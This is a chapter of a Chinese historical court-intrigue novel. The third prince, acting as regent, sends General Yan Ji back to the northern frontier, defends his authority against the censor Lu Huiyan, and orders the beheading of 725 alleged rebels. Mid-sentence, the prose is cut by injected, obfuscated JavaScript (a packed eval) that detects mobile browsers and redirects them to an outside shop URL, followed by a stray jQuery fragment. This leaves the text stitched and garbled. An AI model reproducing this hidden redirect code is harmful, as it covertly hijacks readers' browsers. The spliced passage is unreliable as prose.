此时宫门已开,文武百官陆续进宫,没有人再管还跪在宫门口的女子。
今日朝堂奏对之事不多。
龙椅之下,一道穿着缂丝彩云金龙蟒袍的颀长身影,正看着今日清晨加急送来的奏本。
见他看完不语,离得最近的大臣站出来:“三殿下神思忧虑,可是有什么棘手之事?”
闻言,萧吟润这才合上奏本,望向朝中诸臣:“北疆来报,北狄立了多尔济为新王。”
“多尔济?那不是旧王的叔叔吗?也是,旧王拉图死时才二十七岁,尚无子嗣,这才让亲叔叔有了可乘之机。听说多尔济与拉图的父亲只相差三岁,如今也已年过五旬,比起那年轻凶残的拉图,想来不足为惧。”
朝中其他人纷纷跟着点头。
萧吟润看向燕戟:“燕将军以为如何?”
“只待殿下下令,臣即刻带兵返回北疆。”
萧吟润一笑,到底跟着他长大的弟弟,无需多言,便明白彼此之意。
“多尔济虽已年过五旬,却是不可小觑之辈,他年轻时跟着兄长南征北伐,将边疆多个部族地盘收归为北狄疆土,兄长死后,他扶持侄子拉图坐上王位,当年镇北军的全军覆没便是出自此人之手。拉图虽年轻凶残,可若没有多尔济的辅佐筹谋,仅凭他那狂躁的性子,根本就坐不稳王位。”
“多尔济早不继位晚不继位,偏偏等着我大军回朝才放出消息,难保不会暗地里动什么手脚。若是等到北狄兵临城下才折返,恐已失了先机,届时遭难的便是我北境子民。”
于是萧吟润下令:“既如此,明日燕戟率军折返北疆。有燕家军在,多尔济必不敢轻举妄动。”
燕戟正要领命,此时殿中响起一道突兀的声音。
“且慢!”
他回头,正是谏院御史鲁晦言。
燕戟看见那张夫子脸就烦。鲁晦言同父亲燕怀声是旧友,当初他动辄逃书塾,被鲁晦言知道,还多管闲事地禀了陛下,专程前来燕府说教。
此人人如其名,说的尽是晦气话。
依着燕戟的性子,就权当这老头在放屁。可萧吟润主持朝政,谏院历来有勘正帝王弹劾百官之责,断不可当众阻塞言路。
于是他温和点头,“鲁大人请言。”
“殿下明鉴,老臣并非质疑殿下决策,只是如今陛下尚在,即便病重不理朝政,按规制也该是太子监国理政。”
说到此处他顿了顿,“即便太子犯下大错已被关押,陛下膝下亦有其他皇子,敢问为何是殿下立于此处,代陛下发号施令?”
此言一出,朝中一片安静。
百官皆是后背冒了冷汗,鲁大人这话说得忒不客气,就差直接问三皇子是不是要谋权篡位了。
幸得三皇子是众所周知的好脾气,即便在百官面前被如此质疑,面上也丝毫没有恼怒的意思。
“光顾着北疆,若非大人提醒,还真将重要之事给忘了。”萧吟润淡然侧头,“有劳公公代宣父皇口谕。”
众人跟着望去,这才看见一直随侍陛下身边的高公公,竟一直候在侧殿。
高公公上前:“传陛下口谕——”
百官跪地听旨。
“朕病重,现休养于乾坤殿暖阁中,望诸卿勿念。太子失德,朕痛心愤怒,然朝中不可无人理政,特此口谕,三皇子吟润谦恭茂德,深得朕心,是以养病期间代朕处理一干事务,朝内朝外俱照三皇子之令办理。”
“臣等谨遵陛下口谕!”
高公公退出殿外,百官纷纷起身,萧吟润望向鲁晦言:“大人现下可放心了?”
“臣还有一问。”
“大人请讲。”
“陛下既让三殿下处理所有事务,那么敢问殿下,要如何处置太子之事?”
此言一出又让人倒吸口气,当即便有人给鲁晦言递眼色,叫他莫要再问。
谁知他下一句便问得更加直白:“若太子当真生了谋
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332350|199161||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
逆之心,陛下是否废而再立?若太子并非谋逆,则应还太子清白。总不能这样不明不白一直关押在天牢,国本动摇,恐天下臣民不安,望三殿下尽快拿个决断出来!”
一席话尽,殿中针落可闻。
话虽说得直白,却也无法否认,鲁大人之言句句在理。
诸臣不由纷纷看向萧吟润。
“鲁大人的意思我明白。”
萧吟润语气有些滞涩,“若非人证物证俱在,谁敢贸然关押太子?纵然谋逆之罪证据确凿,但对太子的处置仍需父皇亲自定夺。只是一提此事,父皇便震怒吐血,身为人子,实在不忍继续逼迫父皇做出决断。只得等父皇稍微好转后,再行请旨。”
这话倒也在理。
大臣们纷纷私语,这事是有些为难三殿下了。
鲁晦言听后,语气也缓了几分:“然则谋逆之罪非同小可,太子的处置事关国本,暂缓些时日倒也说得过去。那么对其党羽,殿下打算如何处置?”
“谋逆之罪的确罪无可恕,”萧吟润说,“此番附逆谋反者及其亲信、族人,共计七百二十五人,将于明日午时全部斩首。”
闻言鲁晦言皱眉,动辄便是七百多颗人头落地。他不由看向前面正抱胸看热闹的某人。
此番谋逆之人都是燕戟抓的,他是什么性子,鲁晦言最是清楚。若说这里面没有冤情,打死他都不信。
于是他再度开口:“还有一事,恐怕殿下还不知道。此刻宫门外正有一女子手持陛下亲颁的丹书铁券,自称是沈府之人,请求面圣,称要给此番一并坐罪的京都守备军沈家鸣冤。”
燕戟敛了笑,回头看来。
鲁晦言余光瞥见,心中了然。
“不知是燕将军抓人时有漏网之鱼,还是沈家真的蒙冤。老臣恳请殿下听其一言,若她所言为真,沈府上下不至蒙冤而死。若其所言为虚,殿下也可治其个逃匿之罪。”
鲁晦言抬眸:“殿下可要一见?”